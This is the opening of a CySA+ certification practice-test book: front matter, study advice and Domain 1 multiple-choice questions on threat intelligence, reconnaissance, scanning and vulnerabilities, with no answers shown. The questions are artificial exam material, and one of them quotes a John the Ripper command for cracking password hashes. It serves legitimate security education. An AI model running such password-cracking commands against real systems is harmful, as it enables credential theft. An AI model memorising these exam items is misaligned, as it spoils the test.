CompTIA®
Cybersecurity Analyst (CySA+™) Practice Tests
Exam CS0-002

Second Edition

Mike Chapple

David Seidl

Copyright © 2020 by John Wiley & Sons, Inc., Indianapolis, Indiana

Published simultaneously in Canada

ISBN: 978-1-119-68379-7
ISBN: 978-1-119-68392-6 (ebk.)
ISBN: 978-1-119-68404-6 (ebk.)

No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning or otherwise, except as permitted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior written permission of the Publisher, or authorization through payment of the appropriate per-copy fee to the Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600. Requests to the Publisher for permission should be addressed to the Permissions Department, John Wiley & Sons, Inc., 111 River Street, Hoboken, NJ 07030, (201) 748-6011, fax (201) 748-6008, or online at http://www.wiley.com/go/permissions.

Limit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or warranties with respect to the accuracy or completeness of the contents of this work and specifically disclaim all warranties, including without limitation warranties of fitness for a particular purpose. No warranty may be created or extended by sales or promotional materials. The advice and strategies contained herein may not be suitable for every situation. This work is sold with the understanding that the publisher is not engaged in rendering legal, accounting, or other professional services. If professional assistance is required, the services of a competent professional person should be sought. Neither the publisher nor the author shall be liable for damages arising herefrom. The fact that an organization or Web site is referred to in this work as a citation and/or a potential source of further information does not mean that the author or the publisher endorses the information the organization or Web site may provide or recommendations it may make. Further, readers should be aware that Internet Web sites listed in this work may have changed or disappeared between when this work was written and when it is read.

For general information on our other products and services or to obtain technical support, please contact our Customer Care Department within the U.S. at (877) 762-2974, outside the U.S. at (317) 572-3993 or fax (317) 572-4002.

Wiley publishes in a variety of print and electronic formats and by print-on-demand. Some material included with standard print versions of this book may not be included in e-books or in print-on-demand. If this book refers to media such as a CD or DVD that is not included in the version you purchased, you may download this material at http://booksupport.wiley.com. For more information about Wiley products, visit www.wiley.com.

Library of Congress Control Number: 2020938566

TRADEMARKS: Wiley, the Wiley logo, and the Sybex logo are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or its affiliates, in the United States and other countries, and may not be used without written permission. CompTIA and CySA+ are trademarks or registered trademarks of Computing Technology Industry Association, Inc. All other trademarks are the property of their respective owners. John Wiley & Sons, Inc. is not associated with any product or vendor mentioned in this book.

For Renee, the most patient and caring person I know. Thank you for being the heart of our family.

—MJC

This book is dedicated to my longtime friend Amanda Hanover, who always combined unlimited curiosity with equally infinite numbers of questions about security topics. Amanda lost her fight with mental health struggles in 2019, but you, our reader, should know that there is support out there. Mental health challenges are a struggle that many in the security community face, and community support exists for those who need it. Visit www.mentalhealthhackers.org to find mental health activities at security conferences in your area, as well as resources and links to other resources. You are not alone.

And Amanda—here are a thousand more security questions for you. Your friend, David

—DAS

Acknowledgments

The authors would like to thank the many people who made this book possible. Kenyon Brown at Wiley has been a wonderful partner through many books over the years. Carole Jelen, our agent, worked on a myriad of logistic details and handled the business side of the book with her usual grace and commitment to excellence. Chris Crayton, our technical editor, pointed out many opportunities to improve our work and deliver a high-quality final product. Kezia Endsley served as developmental editor and managed the project smoothly. Thank you to Runzhi “Tom” Song, Mike's research assistant at Notre Dame, who spent hours proofreading our final copy. Many other people we'll never meet worked behind the scenes to make this book a success.

About the Authors

Mike Chapple, PhD, CISSP, is an author of the best-selling CySA+ Study Guide and CISSP (ISC)² Certified Information Systems Security Professional Official Study Guide, now in its eighth edition. He is an information security professional with two decades of experience in higher education, the private sector, and government.

Mike currently serves as teaching professor of IT, analytics, and operations at the University of Notre Dame, where he teaches courses focused on cybersecurity and business analytics.

Before returning to Notre Dame, Mike served as executive vice president and chief information officer of the Brand Institute, a Miami-based marketing consultancy. Mike also spent four years in the information security research group at the National Security Agency and served as an active duty intelligence officer in the U.S. Air Force.

Mike earned both his BS and PhD degrees from Notre Dame in computer science and engineering. He also holds an MS in computer science from the University of Idaho and an MBA from Auburn University.

David Seidl is the Vice President for Information Technology and CIO at Miami University. During his IT career, he has served in a variety of technical and information security roles, including serving at the Senior Director for Campus Technology Services at the University of Notre Dame, where he co-led Notre Dame's move to the cloud and oversaw cloud operations, ERP, databases, identity management, and a broad range of other technologies and service. He also served as Notre Dame's Director of Information Security and led Notre Dame's information security program. He has taught information security and networking undergraduate courses as an instructor for Notre Dame's Mendoza College of Business and has written books on security certification and cyberwarfare, including co-authoring CISSP (ISC)² Official Practice Tests (Sybex 2018) as well as the previous editions of both this book and the companion CompTIA CySA+ Practice Tests: Exam CS0-001.

David holds a bachelor's degree in communication technology and a master's degree in information security from Eastern Michigan University, as well as CISSP, CySA+, Pentest+, GPEN, and GCIH certifications.

About the Technical Editor

Chris Crayton, MCSE, CISSP, CASP, CySA+, A+, N+, S+, is a technical consultant, trainer, author and industry leading technical editor. He has worked as a computer technology and networking instructor, information security director, network administrator, network engineer, and PC specialist. Chris has served as technical editor and content contributor on numerous technical titles for several of the leading publishing companies. He has also been recognized with many professional and teaching awards.

Introduction

CompTIA CySA+ (Cybersecurity Analyst) Practice Tests, Second Edition is a companion volume to the CompTIA CySA+ Study Guide, Second Edition (Sybex, 2020, Chapple/Seidl). If you're looking to test your knowledge before you take the CySA+ exam, this book will help you by providing a combination of 1,000 questions that cover the CySA+ domains and easy-to-understand explanations of both right and wrong answers.

If you're just starting to prepare for the CySA+ exam, we highly recommend that you use the Cybersecurity Analyst+ (CySA+) Study Guide, Second Edition to help you learn about each of the domains covered by the CySA+ exam. Once you're ready to test your knowledge, use this book to help find places where you may need to study more or to practice for the exam itself.

Since this is a companion to the CySA+ Study Guide, this book is designed to be similar to taking the CySA+ exam. It contains multipart scenarios as well as standard multiple-choice questions similar to those you may encounter in the certification exam itself. The book itself is broken up into seven chapters: five domain-centric chapters with questions about each domain, and two chapters that contain 85-question practice tests to simulate taking the CySA+ exam itself.

CompTIA

CompTIA is a nonprofit trade organization that offers certification in a variety of IT areas, ranging from the skills that a PC support technician needs, which are covered in the A+ exam, to advanced certifications like the CompTIA Advanced Security Practitioner, or CASP certification. CompTIA recommends that practitioners follow a cybersecurity career path as shown here:

The Cybersecurity Analyst+ exam is a more advanced exam, intended for professionals with hands-on experience and who possess the knowledge covered by the prior exams.

CompTIA certifications are ISO and ANSI accredited, and they are used throughout multiple industries as a measure of technical skill and knowledge. In addition, CompTIA certifications, including the CySA+, the Security+ and the CASP certifications, have been approved by the U.S. government as Information Assurance baseline certifications and are included in the State Department's Skills Incentive Program.

The Cybersecurity Analyst+ Exam

The Cybersecurity Analyst+ exam, which CompTIA refers to as CySA+, is designed to be a vendor-neutral certification for cybersecurity, threat, and vulnerability analysts. The CySA+ certification is designed for security analysts and engineers as well as security operations center (SOC) staff, vulnerability analysts, and threat intelligence analysts. It focuses on security analytics and practical use of security tools in real-world scenarios. It covers five major domains: Threat and Vulnerability Management, Software and Systems Security, Security Operations and Monitoring, Incident Response, and Compliance and Assessment. These five areas include a range of topics, from reconnaissance to incident response and forensics, while focusing heavily on scenario-based learning.

The CySA+ exam fits between the entry-level Security+ exam and the CompTIA Advanced Security Practitioner (CASP) certification, providing a mid-career certification for those who are seeking the next step in their certification and career path.

The CySA+ exam is conducted in a format that CompTIA calls “performance-based assessment.” This means that the exam uses hands-on simulations using actual security tools and scenarios to perform tasks that match those found in the daily work of a security practitioner. Exam questions may include multiple types of questions such as multiple-choice, fill-in-the-blank, multiple-response, drag-and-drop, and image-based problems.

CompTIA recommends that test takers have four years of information security–related experience before taking this exam. The exam costs $359 in the United States, with roughly equivalent prices in other locations around the globe. More details about the CySA+ exam and how to take it can be found at certification.comptia.org/certifications/cybersecurity-analyst.

Study and Exam Preparation Tips

We recommend you use this book in conjunction with the Cybersecurity Analyst+ (CySA+) Study Guide, Second Edition. Read through chapters in the study guide and then try your hand at the practice questions associated with each domain in this book.

You should also keep in mind that the CySA+ certification is designed to test practical experience, so you should also make sure that you get some hands-on time with the security tools covered on the exam. CompTIA recommends the use of NetWars-style simulations, penetration testing and defensive cybersecurity simulations, and incident response training to prepare for the CySA+.

Additional resources for hands-on exercises include the following:

Exploit-Exercises.com provides virtual machines, documentation, and challenges covering a wide range of security issues at exploit-exercises.lains.space.

Hacking-Lab provides capture-the-flag (CTF) exercises in a variety of fields at www.hacking-lab.com/index.html.

PentesterLab provides a subscription-based access to penetration testing exercises at www.pentesterlab.com/exercises/.

The InfoSec Institute provides online capture-the-flag activities with bounties for written explanations of successful hacks at ctf.infosecinstitute.com.

Since the exam uses scenario-based learning, expect the questions to involve analysis and thought, rather than relying on simple memorization. As you might expect, it is impossible to replicate that experience in a book, so the questions here are intended to help you be confident that you know the topic well enough to think through hands-on exercises.

Taking the Exam

Once you are fully prepared to take the exam, you can visit the CompTIA website to purchase your exam voucher:

www.comptiastore.com/Articles.asp?ID=265&category=vouchers

CompTIA partners with Pearson VUE's testing centers, so your next step will be to locate a testing center near you. In the United States, you can do this based on your address or your ZIP code, while non-U.S. test takers may find it easier to enter their city and country. You can search for a test center near you at the Pearson Vue website, where you will need to navigate to “Find a test center”:

www.pearsonvue.com/comptia/

Now that you know where you'd like to take the exam, simply set up a Pearson VUE testing account and schedule an exam:

www.comptia.org/testing/testing-options/take-in-person-exam

On the day of the test, bring two forms of identification, and make sure to show up with plenty of time before the exam starts. Remember that you will not be able to take your notes, electronic devices (including smartphones and watches), or other materials in with you.

After the Cybersecurity Analyst+ Exam

Once you have taken the exam, you will be notified of your score immediately, so you'll know if you passed the test right away. You should keep track of your score report with your exam registration records and the email address you used to register for the exam.

Maintaining Your Certification

CompTIA certifications must be renewed on a periodic basis. To renew your certification, you can either pass the most current version of the exam, earn a qualifying higher-level CompTIA or industry certification, or complete sufficient continuing education activities to earn enough continuing education units (CEUs) to renew it.

CompTIA provides information on renewals via their website at

www.comptia.org/continuing-education

When you sign up to renew your certification, you will be asked to agree to the CE program's Code of Ethics, to pay a renewal fee, and to submit the materials required for your chosen renewal method.

A full list of the industry certifications you can use to acquire CEUs toward renewing the CySA+ can be found at

www.comptia.org/continuing-education/choose/renew-with-a-single-activity/earn-a-higher-level-comptia-certification

Using This Book to Practice

This book is composed of seven chapters. Each of the first five chapters covers a domain, with a variety of questions that can help you test your knowledge of real-world, scenario, and best practices–based security knowledge. The final two chapters are complete practice exams that can serve as timed practice tests to help determine whether you're ready for the CySA+ exam.

We recommend taking the first practice exam to help identify where you may need to spend more study time and then using the domain-specific chapters to test your domain knowledge where it is weak. Once you're ready, take the second practice exam to make sure you've covered all the material and are ready to attempt the CySA+ exam.

As you work through questions in this book, you will encounter tools and technology that you may not be familiar with. If you find that you are facing a consistent gap or that a domain is particularly challenging, we recommend spending some time with books and materials that tackle that domain in depth. This can help you fill in gaps and help you be more prepared for the exam.

Objectives Map for CompTIA CySA+ (Cybersecurity Analyst) Exam CS0-002

The following objective map for the CompTIA CySA+ (Cybersecurity Analyst) certification exam will enable you to find where each objective is covered in the book.

Objectives Map

Objective | Chapter
1.0 THREAT AND VULNERABILITY MANAGEMENT
1.1 Explain the importance of threat data and intelligence. | Chapter 1
1.2 Given a scenario, utilize threat intelligence to support organizational security. | Chapter 1
1.3 Given a scenario, perform vulnerability management activities. | Chapter 1
1.4 Given a scenario, analyze the output from common vulnerability assessment tools. | Chapter 1
1.5 Explain the threats and vulnerabilities associated with specialized technology. | Chapter 1
1.6 Explain the threats and vulnerabilities associated with operating in the cloud. | Chapter 1
1.7 Given a scenario, implement controls to mitigate attacks and software vulnerabilities. | Chapter 1
2.0 SOFTWARE AND SYSTEMS SECURITY |
2.1 Given a scenario, apply security solutions for infrastructure management. | Chapter 2
2.2 Explain software assurance best practices. | Chapter 2
2.3 Explain hardware assurance best practices. | Chapter 2
3.0 SECURITY OPERATIONS AND MONITORING |
3.1 Given a scenario, analyze data as part of security monitoring activities. | Chapter 3
3.2 Given a scenario, implement configuration changes to existing controls to improve security. | Chapter 3
3.3 Explain the importance of proactive threat hunting. | Chapter 3
3.4 Compare and contrast automation concepts and technologies. | Chapter 3
4.0 INCIDENT RESPONSE |
4.1 Explain the importance of the incident response process. | Chapter 4
4.2 Given a scenario, apply the appropriate incident response procedure. | Chapter 4
4.3 Given an incident, analyze potential indicators of compromise. | Chapter 4
4.4 Given a scenario, utilize basic digital forensic techniques. | Chapter 4
5.0 COMPLIANCE AND ASSESSMENT |
5.1 Understand the importance of data privacy and protection. | Chapter 5
5.2 Given a scenario, apply security concepts in support of organizational risk mitigation. | Chapter 5
5.3 Explain the importance of frameworks, policies, procedures, and controls. | Chapter 5

Chapter 1
Domain 1.0: Threat and Vulnerability Management

EXAM OBJECTIVES COVERED IN THIS CHAPTER:

1.1 Explain the importance of threat data and intelligence.

Intelligence sources

Confidence levels

Indicator management

Threat classification

Threat actors

Intelligence cycle

Commodity malware

Information sharing and analysis communities

1.2 Given a scenario, utilize threat intelligence to support organizational security.

Attack frameworks

Threat research

Threat modeling methodologies

Threat intelligence sharing with supported functions

1.3 Given a scenario, perform vulnerability management activities.

Vulnerability identification

Validation

Remediation/mitigation

Scanning parameters and criteria

Inhibitors to remediation

1.4 Given a scenario, analyze the output from common vulnerability assessment tools.

Web application scanner

Infrastructure vulnerability scanner

Software assessment tools and techniques

Enumeration

Wireless assessment tools

Cloud infrastructure assessment tools

1.5 Explain the threats and vulnerabilities associated with specialized technology.

Mobile

Internet of Things (IoT)

Embedded

Real-time operating system (RTOS)

System-on-Chip (SoC)

Field programmable gate array (FPGA)

Physical access control

Building automation systems

Vehicles and drones

Workflow and process automation systems

Industrial control systems (ICS)

Supervisory control and data acquisition (SCADA)

1.6 Explain the threats and vulnerabilities associated with operating in the cloud.

Cloud service models

Cloud deployment models

Function as a service (FaaS)/serverless architecture

Infrastructure as code (IaC)

Insecure application programming interface (API)

Improper key management

Unprotected storage

Logging and monitoring

1.7 Given a scenario, implement controls to mitigate attacks and software vulnerabilities.

Attack types

Vulnerabilities

Olivia is considering potential sources for threat intelligence information that she might incorporate into her security program. Which one of the following sources is most likely to be available without a subscription fee?

Vulnerability feeds

Open source

Closed source

Proprietary

During the reconnaissance stage of a penetration test, Cynthia needs to gather information about the target organization's network infrastructure without causing an IPS to alert the target to her information gathering. Which of the following is her best option?

Perform a DNS brute-force attack.

Use an nmap ping sweep.

Perform a DNS zone transfer.

Use an nmap stealth scan.

Roger is evaluating threat intelligence information sources and finds that one source results in quite a few false positive alerts. This lowers his confidence level in the source. What criteria for intelligence is not being met by this source?

Timeliness

Expense

Relevance

Accuracy

What markup language provides a standard mechanism for describing attack patterns, malware, threat actors, and tools?

STIX

TAXII

XML

OpenIOC

A port scan of a remote system shows that port 3306 is open on a remote database server. What database is the server most likely running?

Oracle

Postgres

MySQL

Microsoft SQL

Brad is working on a threat classification exercise, analyzing known threats and assessing the possibility of unknown threats. Which one of the following threat actors is most likely to be associated with an advanced persistent threat (APT)?

Hacktivist

Nation-state

Insider

Organized crime

During a port scan of her network, Cynthia discovers a workstation that shows the following ports open. What should her next action be?

Determine the reason for the ports being open.

Investigate the potentially compromised workstation.

Run a vulnerability scan to identify vulnerable services.

Reenable the workstation's local host firewall.

Charles is working with leaders of his organization to determine the types of information that should be gathered in his new threat intelligence program. In what phase of the intelligence cycle is he participating?

Dissemination

Feedback

Analysis

Requirements

As Charles develops his threat intelligence program, he creates and shares threat reports with relevant technologists and leaders. What phase of the intelligence cycle is now occurring?

Dissemination

Feedback

Collection

Requirements

What term is used to describe the groups of related organizations who pool resources to share cybersecurity threat information and analyses?

SOC

ISAC

CERT

CIRT

Which one of the following threats is the most pervasive in modern computing environments?

Zero-day attacks

Advanced persistent threats

Commodity malware

Insider threats

Singh incorporated the Cisco Talos tool into his organization's threat intelligence program. He uses it to automatically look up information about the past activity of IP addresses sending email to his mail servers. What term best describes this intelligence source?

Open source

Behavioral

Reputational

Indicator of compromise

Consider the threat modeling analysis shown here. What attack framework was used to develop this analysis?

ATT&CK

Cyber Kill Chain

STRIDE

Diamond

Jamal is assessing the risk to his organization from their planned use of AWS Lambda, a serverless computing service that allows developers to write code and execute functions directly on the cloud platform. What cloud tier best describes this service?

SaaS

PaaS

IaaS

FaaS

Lauren's honeynet, shown here, is configured to use a segment of unused network space that has no legitimate servers in it. What type of threats is this design particularly useful for detecting?

Zero-day attacks

SQL injection

Network scans

DDoS attacks

Nara is concerned about the risk of attackers conducting a brute-force attack against her organization. Which one of the following factors is Nara most likely to be able to control?

Attack vector

Adversary capability

Likelihood

Total attack surface

Fred believes that the malware he is tracking uses a fast flux DNS network, which associates many IP addresses with a single fully qualified domain name as well as using multiple download hosts. How many distinct hosts should he review based on the NetFlow shown here?

Date flow start   Duration     Proto    Src      IP Addr:Port  Dst IP Addr:Port      Packets   Bytes   Flows
2020-07-11        14:39:30.606 0.448    TCP      192.168.2.1:1451->10.2.3.1:443      10        1510    1
2020-07-11        14:39:30.826 0.448    TCP      10.2.3.1:443->192.168.2.1:1451      7         360     1
2020-07-11        14:45:32.495 18.492   TCP      10.6.2.4:443->192.168.2.1:1496      5         1107    1
2020-07-11        14:45:32.255 18.888   TCP      192.168.2.1:1496->10.6.2.4:443      11        1840    1
2020-07-11        14:46:54.983 0.000    TCP      192.168.2.1:1496->10.6.2.4:443      1         49      1
2020-07-11        16:45:34.764 0.362    TCP      10.6.2.4:443->192.168.2.1:4292      4         1392    1
2020-07-11        16:45:37.516 0.676    TCP      192.168.2.1:4292->10.6.2.4:443      4         462     1
2020-07-11        16:46:38.028 0.000    TCP      192.168.2.1:4292->10.6.2.4:443      2         89      1
2020-07-11        14:45:23.811 0.454    TCP      192.168.2.1:1515->10.6.2.5:443      4         263     1
2020-07-11        14:45:28.879 1.638    TCP      192.168.2.1:1505->10.6.2.5:443      18        2932    1
2020-07-11        14:45:29.087 2.288    TCP      10.6.2.5:443->192.168.2.1:1505      37        48125   1
2020-07-11        14:45:54.027 0.224    TCP      10.6.2.5:443->192.168.2.1:1515      2         1256    1
2020-07-11        14:45:58.551 4.328    TCP      192.168.2.1:1525->10.6.2.5:443      10        648     1
2020-07-11        14:45:58.759 0.920    TCP      10.6.2.5:443->192.168.2.1:1525      12        15792   1
2020-07-11        14:46:32.227 14.796   TCP      192.168.2.1:1525->10.8.2.5:443      31        1700    1
2020-07-11        14:46:52.983 0.000    TCP      192.168.2.1:1505->10.8.2.5:443      1         40      1

1

3

4

5

Which one of the following functions is not a common recipient of threat intelligence information?

Legal counsel

Risk management

Security engineering

Detection and monitoring

Alfonzo is an IT professional at a Portuguese university who is creating a cloud environment for use only by other Portuguese universities. What type of cloud deployment model is he using?

Public cloud

Private cloud

Hybrid cloud

Community cloud

During a network reconnaissance exercise, Chris gains access to a PC located in a secure network. If Chris wants to locate database and web servers that the company uses, what command-line tool can he use to gather information about other systems on the local network without installing additional tools or sending additional traffic?

ping

traceroute

nmap

netstat

Kaiden's organization uses the AWS public cloud environment. He uses the CloudFormation tool to write scripts that create the cloud resources used by his organization. What type of service is CloudFormation?

SaaS

IAC

FaaS

API

What is the default nmap scan type when nmap is not provided with a scan type flag?

A TCP FIN scan

A TCP connect scan

A TCP SYN scan

A UDP scan

Isaac wants to grab the banner from a remote web server using commonly available tools. Which of the following tools cannot be used to grab the banner from the remote host?

Netcat

Telnet

Wget

FTP

Lakshman wants to limit what potential attackers can gather during passive or semipassive reconnaissance activities. Which of the following actions will typically reduce his organization's footprint the most?

Limit information available via the organizational website without authentication.

Use a secure domain registration.

Limit technology references in job postings.

Purge all document metadata before posting.

Cassandra's nmap scan of an open wireless network (192.168.10/24) shows the following host at IP address 192.168.1.1. Which of the following is most likely to be the type of system at that IP address based on the scan results shown?

A virtual machine

A wireless router

A broadband router

A print server

Several organizations recently experienced security incidents when their AWS secret keys were published in public GitHub repositories. What is the most significant threat that could arise from this improper key management?

Total loss of confidentiality

Total loss of integrity

Total loss of availability

Total loss of confidentiality, integrity, and availability

Latisha has local access to a Windows workstation and wants to gather information about the organization that it belongs to. What type of information can she gain if she executes the command nbtstat -c?

MAC addresses and IP addresses of local systems

NetBIOS name-to-IP address mappings

A list of all NetBIOS systems that the host is connected to

NetBIOS MAC-to-IP address mappings

Tracy believes that a historic version of her target's website may contain data she needs for her reconnaissance. What tool can she use to review snapshots of the website from multiple points in time?

Time Machine

Morlock

Wayback Machine

Her target's web cache

After Kristen received a copy of an nmap scan run by a penetration tester that her company hired, she knows that the tester used the -O flag. What type of information should she expect to see included in the output other than open ports?

OCMP status

Other ports

Objective port assessment data in verbose mode

Operating system and Common Platform Enumeration (CPE) data

Andrea wants to conduct a passive footprinting exercise against a target company. Which of the following techniques is not suited to a passive footprinting process?

WHOIS lookups

Banner grabbing

BGP looking glass usage

Registrar checks

While gathering reconnaissance data for a penetration test, Charlene uses the MXToolbox MX Lookup tool. What can she determine from the response to her query shown here?

The mail servers are blacklisted.

The mail servers have failed an SMTP test.

The mail servers are clustered.

There are two MX hosts listed in DNS.

Alex wants to scan a protected network and has gained access to a system that can communicate to both his scanning system and the internal network, as shown in the image here. What type of nmap scan should Alex conduct to leverage this host if he cannot install nmap on system A?

A reflection scan

A proxy scan

A randomized host scan

A ping-through scan

As a member of a blue team, Lukas observed the following behavior during an external penetration test. What should he report to his managers at the conclusion of the test?

A significant increase in latency

A significant increase in packet loss

Latency and packet loss both increased.

No significant issues were observed.

As part of an organizationwide red team exercise, Frank is able to use a known vulnerability to compromise an Apache web server. Once he has gained access, what should his next step be if he wants to use the system to pivot to protected systems behind the DMZ that the web server resides in?

Vulnerability scanning

Privilege escalation

Patching

Installing additional tools

Maddox is conducting an inventory of access permissions on cloud-based object buckets, such as those provided by the AWS S3 service. What threat is he seeking to mitigate?

Insecure APIs

Improper key management

Unprotected storage

Insufficient logging and monitoring

Alex has been asked to assess the likelihood of reconnaissance activities against her organization (a small, regional business). Her first assignment is to determine the likelihood of port scans against systems in her organization's DMZ. How should she rate the likelihood of this occurring?

Low

Medium

High

There is not enough information for Alex to provide a rating.

Lucy recently detected a cross-site scripting vulnerability in her organization's web server. The organization operates a support forum where users can enter HTML tags and the resulting code is displayed to other site visitors. What type of cross-site scripting vulnerability did Lucy discover?

Persistent

Reflected

DOM-based

Blind

Which one of the following tools is capable of handcrafting TCP packets for use in an attack?

Arachni

Hping

Responder

Hashcat

Which one of the following IoT components contains hardware that can be dynamically reprogrammed by the end user?

RTOS

SoC

FPGA

MODBUS

Florian discovered a vulnerability in a proprietary application developed by his organization. The application performs memory management using the malloc() function and one area of memory allocated in this manner has an overflow vulnerability. What term best describes this overflow?

Buffer overflow

Stack overflow

Integer overflow

Heap overflow

The company that Maria works for is making significant investments in infrastructure-as-a-service hosting to replace its traditional datacenter. Members of her organization's management have Maria's concerns about data remanence when Lauren's team moves from one virtual host to another in their cloud service provider's environment. What should she instruct her team to do to avoid this concern?

Zero-wipe drives before moving systems.

Use full-disk encryption.

Use data masking.

Span multiple virtual disks to fragment data.

Lucca wants to prevent workstations on his network from attacking each other. If Lucca's corporate network looks like the network shown here, what technology should he select to prevent laptop A from being able to attack workstation B?

An IPS

An IDS

An HIPS

An HIDS

Geoff is reviewing logs and sees a large number of attempts to authenticate to his VPN server using many different username and password combinations. The same usernames are attempted several hundred times before moving on to the next one. What type of attack is most likely taking place?

Credential stuffing

Password spraying

Brute-force

Rainbow table

The company that Dan works for has recently migrated to an SaaS provider for its enterprise resource planning (ERP) software. In its traditional on-site ERP environment, Dan conducted regular port scans to help with security validation for the systems. What will Dan most likely have to do in this new environment?

Use a different scanning tool.

Rely on vendor testing and audits.

Engage a third-party tester.

Use a VPN to scan inside the vendor's security perimeter.

Lakshman uses Network Miner to review packet captures from his reconnaissance of a target organization. One system displayed the information shown here. What information has Network Miner used to determine that the PC is a Hewlett-Packard device?

The MAC address

The OS flags

The system's banner

The IP address

Kaiden is configuring a SIEM service in his IaaS cloud environment that will receive all of the log entries generated by other devices in that environment. Which one of the following risks is greatest with this approach in the event of a DoS attack or other outage?

Inability to access logs

Insufficient logging

Insufficient monitoring

Insecure API

Which one of the following languages is least susceptible to an injection attack?

HTML

SQL

STIX

XML

Which one of the following types of malware would be most useful in a privilege escalation attack?

Rootkit

Worm

Virus

RAT

Ricky discovered a vulnerability in an application where privileges are checked at the beginning of a series of steps, may be revoked during those steps, and then are not checked before new uses of them later in the sequence. What type of vulnerability did he discover?

Improper error handling

Race condition

Dereferencing

Sensitive data exposure

Matthew is analyzing some code written in the C programming language and discovers that it is using the functions listed here. Which of these functions poses the greatest security vulnerability?

strcpy()

main()

printf()

scanf()

Abdul is conducting a security audit of a multicloud computing environment that incorporates resources from AWS and Microsoft Azure. Which one of the following tools will be most useful to him?

ScoutSuite

Pacu

Prowler

CloudSploit

Jake is performing a vulnerability assessment and comes across a CAN bus specification. What type of environment is most likely to include a CAN bus?

Physical access control system

Building automation system

Vehicle control system

Workflow and process automation system

Darcy is conducting a test of a wireless network using the Reaver tool. What technology does Reaver specifically target?

WPA

WPA2

WPS

WEP

Azra believes that one of her users may be taking malicious action on the systems she has access to. When she walks past her user's desktop, she sees the following command on the screen:

user12@workstation:/home/user12# ./john -wordfile:/home/user12/mylist.txt -format:lm hash.txt

What is the user attempting to do?

They are attempting to hash a file.

They are attempting to crack hashed passwords.

They are attempting to crack encrypted passwords.

They are attempting a pass-the-hash attack.

nmap provides a standardized way to name hardware and software that it detects. What is this called?

CVE

HardwareEnum

CPE

GearScript

Lakshman wants to detect port scans using syslog so that he can collect and report on the information using his SIEM. If he is using a default CentOS system, what should he do?

Search for use of privileged ports in sequential order.

Search for connections to ports in the /var/syslog directory.

Log all kernel messages to detect scans.

Install additional tools that can detect scans and send the logs to syslog.

Greg is concerned about the use of DDoS attack tools against his organization, so he purchased a mitigation service from his ISP. What portion of the threat model did Greg reduce?

Likelihood

Total attack surface

Impact

Adversary capability

Lucas believes that an attacker has successfully compromised his web server. Using the following output of ps, identify the process ID he should focus on.

root      507  0.0  0.1 258268  3288 ?     Ssl  15:52  0:00 /usr/sbin/rsyslogd -n
message+  508  0.0  0.2  44176  5160 ?     Ss   15:52  0:00 /usr/bin/dbusdaemon --system --address=systemd: --nofork --nopidfile --systemd-activa
root      523  0.0  0.3 281092  6312 ?     Ssl  15:52  0:00 /usr/lib/accountsservice/accounts-daemon
root      524  0.0  0.7 389760 15956 ?     Ssl  15:52  0:00 /usr/sbin/NetworkManager --no-daemon
root      527  0.0  0.1  28432  2992 ?     Ss   15:52  0:00 /lib/systemd/systemd-logind
apache    714  0.0  0.1  27416  2748 ?     Ss   15:52  0:00 /www/temp/webmin
root      617  0.0  0.1  19312  2056 ?     Ss   15:52  0:00 /usr/sbin/irqbalance --pid=/var/run/irqbalance.pid
root      644  0.0  0.1 245472  2444 ?     Sl   15:52  0:01 /usr/sbin/VBoxService
root      653  0.0  0.0  12828  1848 tty1  Ss+  15:52  0:00 /sbin/agetty --noclear tty1 linux
root      661  0.0  0.3 285428  8088 ?     Ssl  15:52  0:00 /usr/lib/policykit-1/polkitd --no-debug
root      663  0.0  0.3 364752  7600 ?     Ssl  15:52  0:00 /usr/sbin/gdm3
root      846  0.0  0.5 285816 10884 ?     Ssl  15:53  0:00 /usr/lib/upower/upowerd
root      867  0.0  0.3 235180  7272 ?     Sl   15:53  0:00 gdm-session-worker [pam/gdm-launch-environment]
Debian-+  877  0.0  0.2  46892  4816 ?     Ss   15:53  0:00 /lib/systemd/systemd --user
Debian-+  878  0.0  0.0  62672  1596 ?     S    15:53  0:00 (sd-pam)

508

617

846

714

Geoff is responsible for hardening systems on his network and discovers that a number of network appliances have exposed services, including telnet, FTP, and web servers. What is his best option to secure these systems?

Enable host firewalls.

Install patches for those services.

Turn off the services for each appliance.

Place a network firewall between the devices and the rest of the network.

While conducting reconnaissance of his own organization, Ian discovers that multiple certificates are self-signed. What issue should he report to his management?

Self-signed certificates do not provide secure encryption for site visitors.

Self-signed certificates can be revoked only by the original creator.

Self-signed certificates will cause warnings or error messages.

None of the above.

During the reconnaissance stage of a penetration test, Fred calls a number of staff at the target organization. Using a script he prepared, Fred introduces himself as part of the support team for their recently installed software and asks for information about the software and its configuration. What is this technique called?

Pretexting

OSINT

A tag-out

Profiling

Carrie needs to lock down a Windows workstation that has recently been scanned using nmap with the results shown here. She knows that the workstation needs to access websites and that the system is part of a Windows domain. What ports should she allow through the system's firewall for externally initiated connections?

80, 135, 139, and 445

80, 445, and 3389

135, 139, and 445

No ports should be open.

Adam's port scan returns results on six TCP ports: 22, 80, 443, 515, 631, and 9100. If Adam needs to guess what type of device this is based on these ports, what is his best guess?

A web server

An FTP server

A printer

A proxy server

In his role as the SOC operator, Manish regularly scans a variety of servers in his organization. After two months of reporting multiple vulnerabilities on a Windows file server, Manish recently escalated the issue to the server administrator's manager.

At the next weekly scan window, Manish noticed that all the vulnerabilities were no longer active; however, ports 137, 139, and 445 were still showing as open. What most likely happened?

The server administrator blocked the scanner with a firewall.

The server was patched.

The vulnerability plug-ins were updated and no longer report false positives.

The system was offline.

While conducting reconnaissance, Piper discovers what she believes is an SMTP service running on an alternate port. What technique should she use to manually validate her guess?

Send an email via the open port.

Send an SMTP probe.

Telnet to the port.

SSH to the port.

What two pieces of information does nmap need to estimate network path distance?

IP address and TTL

TTL and operating system

Operating system and BGP flags

TCP flags and IP address

Helen is using the Lockheed Martin Cyber Kill Chain to analyze an attack that took place against her organization. During the attack, the perpetrator attached a malicious tool to an email message that was sent to the victim. What phase of the Cyber Kill Chain includes this type of activity?

Weaponization

Delivery

Exploitation

Actions on objectives

During an on-site penetration test of a small business, Ramesh scans outward to a known host to determine the outbound network topology. What information can he gather from the results provided by Zenmap?

There are two nodes on the local network.

There is a firewall at IP address 96.120.24.121.

There is an IDS at IP address 96.120.24.121.

He should scan the 10.0.2.0/24 network.

